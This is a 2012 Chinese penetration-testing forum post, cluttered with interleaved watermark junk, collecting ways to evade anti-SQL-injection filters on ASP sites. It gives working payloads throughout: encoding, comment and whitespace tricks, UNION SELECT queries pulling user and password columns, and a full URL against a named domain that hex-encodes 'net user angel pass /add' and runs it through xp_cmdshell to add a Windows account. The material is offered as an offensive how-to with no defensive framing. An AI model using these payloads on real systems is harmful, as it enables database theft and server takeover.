中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.
  {% _7 n+ U9 Q6 ]4 bhttp://www.xxx.cn/Article.asp?ID=117 and 1=18 I, A$ P- c: H6 i* x$ O
直接返回主页7 y2 z6 _* ?% k; R' x6 l
http://www.xxx.cn/Article.asp?ID=117 or 1=1! X" T. E  F7 I) o
直接返回主页
& j( q: {6 [# V* e( L  Ehttp://www.xxx.cn/Article.asp?ID=117 or
* w4 M- N  F. `8 @没有返回主页 没有过滤or
0 m2 e! j) t3 |! W- e( `http://www.xxx.cn/Article.asp?ID=117 and1 F4 s5 e% u  H2 L6 \
直接返回主页 看来过滤了and
7 x% u9 b/ L" e. ~1 _- F- f5 Ahttp://www.xxx.cn/Article.asp?ID=117 or 1
& v( ^0 Q" Y( L+ P  Z. U, |. m没有返回主页 即没有过滤or 也没有过滤1
1 X: n; d, {& N/ k5 bhttp://www.xxx.cn/Article.asp?ID=117 or 1=1$ T6 P, v; P: e* U! c5 Y# ~# X3 l) y, V
直接返回主页 很明显过滤了等号
2 X! W: o9 \5 o0 I) H* m  m6 Zor的特性是与and相反的.8 Q' t6 `# Z9 B& R/ D3 l* k
or 1=1 爆错 或与原页面不同& y. ]: p3 S4 P4 r$ ~: W
or 1=2 原页面相同
$ H; R0 m6 W/ k* i( H这样就是一个注入点
3 O3 n( `' W3 J  U0 o3 |) G0 Q& `- I但他过滤了=号 我就用><号代替=号吧!( c- ^9 w5 c' B* s7 q4 h+ a1 |
or 1<2 很明显是正确的,所以应该与原页面不同$ ?& _- T$ @$ w8 d, L) Z
or 1>2 很明显是错误的,所以应该与原页面相同
' i/ U! g: E& e$ y4 x: X然后看看有没有过滤其他的查询语句,比如select.9 f) D- L, C$ e7 D
http://www.xxx.cn/Article.asp?ID=117 select
0 E& w: z7 |8 f5 k. q4 t/ t4 a直接返回主页
4 m  v" `- _& r- D$ p+ [1 q又迷茫了..
$ U& h) S/ E+ U) ?# E$ s- D: j9 Y4 e0 c& K
/ Q  G/ i7 I% G, Q- |3 G' T
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗4 o0 q& T2 z" L5 D9 _8 y
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)$ [4 h) Q2 V/ A8 G' \5 M# X* s
================================================
# h: f4 v0 t, [- j8 n7 D0 {3 f以下是转贴:" `5 T6 {3 E# A: w
* r9 y! o- q) j. M5 |. M$ ~
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
1 n+ N6 D! @: k, E5 J经过我的收集,大部分的防注入程序都过滤了以下关键字:
- B" g4 `" h" r7 Pand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
! F1 z) ~# I  N% w而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
8 w8 o% {. w9 z/ P对于关键字的过滤,以下是我收集的以及我个人的一些想法。 & ]" x8 k8 C" b# N4 B$ H* p9 a. W
1、运用编码技术绕过
1 E# p& U* H, J+ L如URLEncode编码,ASCII编码绕过。例如or 1=1即 % H( ?% M$ c1 n; [  D
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 : \$ v' D: f- i8 @2 `

1 ?$ W/ p# v8 l2 X; o* V6 r: O2、通过空格绕过
- t# M# z/ z- Z+ {2 [' ~$ Y  Z6 s如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 : h1 p! Y! k% @
or’ swords’ =‘swords’
1 H$ ]% ~  d* {2 L" x3 o,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
9 y; W" `& r  I3、运用字符串判断代替 ) v( `7 S- ^9 f; S; e: @
用经典的or 1=1判断绕过,如
2 y" g" }) l& e. ]or ’swords’ =’swords’
9 Z3 F+ o9 x8 \" g! `0 [$ V. O,这个方法就是网上在讨论的。
3 a: ]* F+ n5 w4 z4、通过类型转换修饰符N绕过
9 r- D0 I' A) V7 n可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ( J: y# E, W# ~* z2 X
5、通过+号拆解字符串绕过 & y: C5 f8 c' N! n8 h
效果值得考证,但毕竟是一种方法。如
- @6 E" A0 c  ~* T3 aor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) " P% {; M2 A6 J8 ?4 U2 b, S+ l- B

' D; Y0 ~; Q/ }* x6、通过LIKE绕过 - v- q4 ?- H. _+ \; B
以前怎么就没想到呢?如or 8 v8 M6 F1 |: j
’swords’ LIKE ’sw’
6 G' i0 K4 i6 |  G4 k  D!!!显然可以很轻松的绕过
7 C% D  R- k' J, ~1 ^“=”“>” 8 x+ B5 X; C+ o8 W; q: p& c
的限制……
& a7 Y# A8 B- s1 L: W7、通过IN绕过 9 ~* W$ g. @& A% {! [' ?- p
与上面的LIKE的思路差不多,如
$ j4 u' k6 q5 b! l0 f$ m! Sor ’swords’ IN (’swords’) 5 \, n1 z, B, X: u

; ]2 H' N5 G' A  ~8、通过BETWEEN绕过 9 N  d" _0 ?/ T$ T- l# P- k

: ]6 x( K) Y( {8 }3 a, @or ’swords’ BETWEEN ’rw’ AND ’tw’ 1 g$ X# O. c* a
4 M$ D+ j" C  A3 I8 I% T
9、通过>或者<绕过 1 Q3 s0 k7 p8 G4 u% _) k: L. V/ r
or ’swords’ > ’sw’ / r- h. I2 V, b- s7 v2 E
or ’swords’ < ’tw’
3 i1 y; U' t9 s7 bor 1<3 1 P, W# `9 C; G9 ~& M
…… ; j$ j! F4 _3 E: l, J1 O  V
10、运用注释语句绕过 " @' ~6 i& }( D* \8 K
用/**/代替空格,如:   e9 o6 t* I, g0 E3 K
UNION /**/ Select /**/user,pwd,from tbluser . g6 Q& t: G: y# ?2 `' \+ n
/ j1 C: E2 Y4 e& e
用/**/分割敏感词,如: - P6 u4 i8 J: f, Y3 w
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
8 a( J( x$ p  x5 i" P/ i6 M3 ~& `1 P1 l5 l: p' ?- ]7 K5 g4 Z
11、用HEX绕过,一般的IDS都无法检测出来 " H, a/ p  B' L0 K: M2 y5 ]) B
0x730079007300610064006D0069006E00 =hex(sysadmin)
! \& Y  V' \# [& L) b5 W0x640062005F006F0077006E0065007200 =hex(db_owner) ; ]. |3 ~7 |  h1 n- L  q6 I
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 0 r4 {3 O1 m6 w1 L
  declare @a sysname ! Z; ?( ?' w0 F2 s' j( |' [
  select @a= : L* r* {9 O2 p& }
  exec master.dbo.xp_cmdshell @a
! ?/ F; j- R, M效果 6 n& S2 O5 W2 m' ^) p0 D
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ( i, \& N( o/ T3 e
+ D& @0 V* j0 r2 ^8 H
其中的
1 R4 p2 f+ u6 \* s& h$ _6 K0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
& N7 |& K9 \3 A" d: s就是 6 s4 V7 l2 W" I# i* o" V% G6 |
“net user angel pass /add”
0 }5 v3 D, W7 R) g0 M5 U: o
8 }4 J# }0 q, i) T6 ~) b3 N一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。! N& L+ G  B" C: ~9 H6 e# y
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
5 l4 ]# _2 ?) B  n. h4 O另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似! f0 e, ^* ?! a) W1 ^4 e1 `3 N  w
Copy code
# f5 ]& d" S& Nselect * from table exec xp_cmdshell'xxxxxxxxxx'  n* ]2 l/ u8 }& w& k' ~
& W1 K% c9 d* [1 O3 X; v' K& \9 f
2 n* {' p+ X- y3 O/ P6 {
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'0 F* n& \0 S, o

- q6 Q$ L0 e: c  T) x; L( W2 [6 K- R1 R: s6 X0 m- m. P5 G8 s
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
1 k% ?6 @4 Q( \, _' m2 l0 Y1 f. A8 N9 D; c: r$ m, {) H# l

; v& _5 B7 w# Z3 Z/ w! gselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
8 p( d6 r5 E* i# E" W' i! z# @7 q7 S3 O. A$ d1 n
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?/ i$ }, k0 c5 Q) C
7 R! W, F' d4 B+ G9 E
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了% v( u* ?- B" H  w; O  J
可能大家早就知道了,不管怎么说,发在这里吧!, N* {& S* v0 }+ t5 Y
' K7 s; k7 J- ?$ I% d4 o
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。# O( Y' `$ s- C5 g9 Z" B! |5 c9 s

& g7 D- ?. T) N6 v# N" B) D4 R
5 v& j) p0 L. G1 m0 y0 H) H
# h! U4 {% v! |. W6 i$ `对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,& e0 W, r6 V& v% ~# X
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
7 {: z- q% s; `' z) J; K! M
% {8 t* d6 \4 _, v/ f$ @, V1 @- n




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2